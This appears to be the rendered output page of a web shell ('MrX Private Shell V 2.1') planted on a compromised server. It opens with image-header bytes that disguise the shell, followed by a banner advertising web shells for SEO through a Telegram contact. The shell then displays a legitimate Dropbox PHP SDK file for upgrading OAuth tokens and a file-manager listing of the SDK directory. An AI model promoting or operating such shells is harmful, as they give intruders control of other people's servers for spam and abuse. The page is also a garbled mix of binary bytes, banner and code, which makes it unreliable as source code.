����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Dropbox;
/**
* Lets you convert OAuth 1 access tokens to OAuth 2 access tokens. First call {@link
* OAuth1AccessTokenUpgrader::createOAuth2AccessToken()} to get an OAuth 2 access token.
* If that succeeds, call {@link OAuth1AccessTokenUpgrader::disableOAuth1AccessToken()}
* to disable the OAuth 1 access token.
*
* <code>
* use \Dropbox as dbx;
* $appInfo = dbx\AppInfo::loadFromJsonFile(...);
* $clientIdentifier = "my-app/1.0";
* $oauth1AccessToken = dbx\OAuth1AccessToken(...);
*
* $upgrader = new dbx\OAuth1AccessTokenUpgrader($appInfo, $clientIdentifier, ...);
* $oauth2AccessToken = $upgrader->getOAuth2AccessToken($oauth1AccessToken);
* $upgrader->disableOAuth1AccessToken($oauth1AccessToken);
* </code>
*/
class OAuth1Upgrader extends AuthBase
{
/**
* Given an existing active OAuth 1 access token, make a Dropbox API call to get a new OAuth 2
* access token that represents the same user and app.
*
* See <a href="https://www.dropbox.com/developers/core/docs#oa1-from-oa1">/oauth2/token_from_oauth1</a>.
*
* @param OAuth1AccessToken $oauth1AccessToken
*
* @return string
* The OAuth 2 access token.
*
* @throws Exception
*/
// function createOAuth2AccessToken($oauth1AccessToken)
// {
// OAuth1AccessToken::checkArg("oauth1AccessToken", $oauth1AccessToken);
// $response = self::doPost($oauth1AccessToken, "1/oauth2/token_from_oauth1");
// if ($response->statusCode !== 200) throw RequestUtil::unexpectedStatus($response);
// $parts = RequestUtil::parseResponseJson($response->body);
// if (!array_key_exists('token_type', $parts) || !is_string($parts['token_type'])) {
// throw new Exception_BadResponse("Missing \"token_type\" field.");
// }
// $tokenType = $parts['token_type'];
// if (!array_key_exists('access_token', $parts) || !is_string($parts['access_token'])) {
// throw new Exception_BadResponse("Missing \"access_token\" field.");
// }
// $accessToken = $parts['access_token'];
// if ($tokenType !== "Bearer" && $tokenType !== "bearer") {
// throw new Exception_BadResponse("Unknown \"token_type\"; expecting \"Bearer\", got "
// . Util::q($tokenType));
// }
// return $accessToken;
// }
/*Dropbox api 2*/
function createOAuth2AccessToken($oauth1AccessToken)
{
OAuth1AccessToken::checkArg("oauth1AccessToken", $oauth1AccessToken);
$response = self::doPost($oauth1AccessToken, "2/auth/token/from_oauth1");
if ($response->statusCode !== 200) throw RequestUtil::unexpectedStatus($response);
$parts = RequestUtil::parseResponseJson($response->body);
if (!array_key_exists('token_type', $parts) || !is_string($parts['token_type'])) {
throw new Exception_BadResponse("Missing \"token_type\" field.");
}
$tokenType = $parts['token_type'];
if (!array_key_exists('access_token', $parts) || !is_string($parts['access_token'])) {
throw new Exception_BadResponse("Missing \"access_token\" field.");
}
$accessToken = $parts['access_token'];
if ($tokenType !== "Bearer" && $tokenType !== "bearer") {
throw new Exception_BadResponse("Unknown \"token_type\"; expecting \"Bearer\", got "
. Util::q($tokenType));
}
return $accessToken;
}
/**
* Make a Dropbox API call to disable the given OAuth 1 access token.
*
* See <a href="https://www.dropbox.com/developers/core/docs#disable-token">/disable_access_token</a>.
*
* @param OAuth1AccessToken $oauth1AccessToken
*
* @throws Exception
*/
// function disableOAuth1AccessToken($oauth1AccessToken)
// {
// OAuth1AccessToken::checkArg("oauth1AccessToken", $oauth1AccessToken);
// $response = self::doPost($oauth1AccessToken, "1/disable_access_token");
// if ($response->statusCode !== 200) throw RequestUtil::unexpectedStatus($response);
// }
/*Dropbox api 2*/
function disableOAuth1AccessToken($oauth1AccessToken)
{
OAuth1AccessToken::checkArg("oauth1AccessToken", $oauth1AccessToken);
$response = self::doPost($oauth1AccessToken, "2/auth/token/revoke");
if ($response->statusCode !== 200) throw RequestUtil::unexpectedStatus($response);
}
/**
* @param OAuth1AccessToken $oauth1AccessToken
* @param string $path
*
* @return HttpResponse
*
* @throws Exception
*/
private function doPost($oauth1AccessToken, $path)
{
// Construct the OAuth 1 header.
$signature = rawurlencode($this->appInfo->getSecret()) . "&" . rawurlencode($oauth1AccessToken->getSecret());
$authHeaderValue = "OAuth oauth_signature_method=\"PLAINTEXT\""
. ", oauth_consumer_key=\"" . rawurlencode($this->appInfo->getKey()) . "\""
. ", oauth_token=\"" . rawurlencode($oauth1AccessToken->getKey()) . "\""
. ", oauth_signature=\"" . $signature . "\"";
return RequestUtil::doPostWithSpecificAuth(
$this->clientIdentifier, $authHeaderValue, $this->userLocale,
$this->appInfo->getHost()->getApi(),
$path,
null);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0755 |
|
|
| WebAuthException | Folder | 0755 |
|
|
| certs | Folder | 0755 |
|
|
| AppInfo.php | File | 7.07 KB | 0644 |
|
| AppInfoLoadException.php | File | 326 B | 0644 |
|
| ArrayEntryStore.php | File | 1.13 KB | 0644 |
|
| AuthBase.php | File | 2.52 KB | 0644 |
|
| AuthInfo.php | File | 2.64 KB | 0644 |
|
| AuthInfoLoadException.php | File | 328 B | 0644 |
|
| Checker.php | File | 3.22 KB | 0644 |
|
| Client.php | File | 59.93 KB | 0644 |
|
| Curl.php | File | 4 KB | 0644 |
|
| CurlStreamRelay.php | File | 1.04 KB | 0644 |
|
| DeserializeException.php | File | 389 B | 0644 |
|
| DropboxMetadataHeaderCatcher.php | File | 1.93 KB | 0644 |
|
| Exception.php | File | 265 B | 0644 |
|
| Host.php | File | 2.65 KB | 0644 |
|
| HttpResponse.php | File | 246 B | 0644 |
|
| OAuth1AccessToken.php | File | 1.44 KB | 0644 |
|
| OAuth1Upgrader.php | File | 5.26 KB | 0644 |
|
| Path.php | File | 5.36 KB | 0644 |
|
| RequestUtil.php | File | 11.34 KB | 0644 |
|
| RootCertificates.php | File | 4.89 KB | 0644 |
|
| SSLTester.php | File | 4.74 KB | 0644 |
|
| Security.php | File | 2.08 KB | 0644 |
|
| StreamReadException.php | File | 316 B | 0644 |
|
| Util.php | File | 799 B | 0644 |
|
| ValueStore.php | File | 1.28 KB | 0644 |
|
| WebAuth.php | File | 10.23 KB | 0644 |
|
| WebAuthBase.php | File | 4.61 KB | 0644 |
|
| WebAuthNoRedirect.php | File | 2.95 KB | 0644 |
|
| WriteMode.php | File | 3.66 KB | 0644 |
|
| autoload.php | File | 844 B | 0644 |
|
| strict.php | File | 538 B | 0644 |
|